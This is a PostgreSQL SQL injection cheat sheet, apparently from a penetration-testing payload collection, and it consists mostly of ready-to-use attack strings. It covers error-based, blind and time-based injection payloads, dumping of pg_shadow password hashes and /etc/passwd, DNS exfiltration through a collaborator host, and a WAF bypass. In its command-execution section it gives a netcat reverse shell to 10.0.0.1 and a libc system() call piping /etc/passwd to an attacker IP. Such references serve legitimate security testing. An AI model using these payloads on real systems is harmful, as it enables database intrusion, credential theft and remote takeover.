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PostgreSQL Injection

PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.

Summary

PostgreSQL Comments

Type Comment
Single-Line Comment --
Multi-Line Comment /**/

PostgreSQL Enumeration

Description SQL Query
DBMS version SELECT version()
Database Name SELECT CURRENT_DATABASE()
Database Schema SELECT CURRENT_SCHEMA()
List PostgreSQL Users SELECT usename FROM pg_user
List Password Hashes SELECT usename, passwd FROM pg_shadow
List DB Administrators SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current User SELECT user;
Current User SELECT current_user;
Current User SELECT session_user;
Current User SELECT usename FROM pg_user;
Current User SELECT getpgusername();

PostgreSQL Methodology

Description SQL Query
List Schemas SELECT DISTINCT(schemaname) FROM pg_tables
List Databases SELECT datname FROM pg_database
List Tables SELECT table_name FROM information_schema.tables
List Tables SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'
List Tables SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'
List Columns SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

Name Payload
CAST AND 1337=CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC) -- -
CAST AND (CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC)) -- -
CAST AND CAST((SELECT version()) AS INT)=1337 -- -
CAST AND (SELECT version())::int=1 -- - 
CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML Helpers

SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Blind

PostgreSQL Blind With Substring Equivalent

Function Example
SUBSTR SUBSTR('foobar', <START>, <LENGTH>)
SUBSTRING SUBSTRING('foobar', <START>, <LENGTH>)
SUBSTRING SUBSTRING('foobar' FROM <START> FOR <LENGTH>)

Examples:

' and substr(version(),1,10) = 'PostgreSQL' and '1  -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1  -- FALSE

PostgreSQL Time Based

Identify Time Based

select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

Database Dump Time Based

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

Table Dump Time Based

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

Columns Dump Time Based

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1

AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Out of Band

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as COPY, lo_export, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept. 

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--

PostgreSQL File Manipulation

PostgreSQL File Read

NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of 0fdc8495bff02684142a44ab3bc5b18a8ca1863a commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

  • Using pg_read_file, pg_ls_dir

    select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

  • Using COPY

    CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

  • Using lo_import

    SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

  • Using COPY

    CREATE TABLE nc (t TEXT);
INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM nc;
COPY nc(t) TO '/tmp/nc.sh';

  • Using COPY (one-line)

    COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

  • Using lo_from_bytea, lo_put and lo_export

    SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command Execution

Using COPY TO/FROM PROGRAM

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.

COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

PostgreSQL WAF Bypass

Alternative to Quotes

Payload Technique
SELECT CHR(65)\|\|CHR(66)\|\|CHR(67); String from CHR()
SELECT $TAG$This Dollar-sign ( >= version 8 PostgreSQL)

PostgreSQL Privileges

PostgreSQL List Privileges

Retrieve all table-level privileges for the current user, excluding tables in system schemas like pg_catalog and information_schema.

SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');

PostgreSQL Superuser Role

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

References